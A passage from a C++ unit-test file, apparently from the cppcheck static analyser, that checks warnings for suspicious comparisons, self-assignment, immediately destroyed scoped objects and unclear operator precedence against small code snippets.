check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> 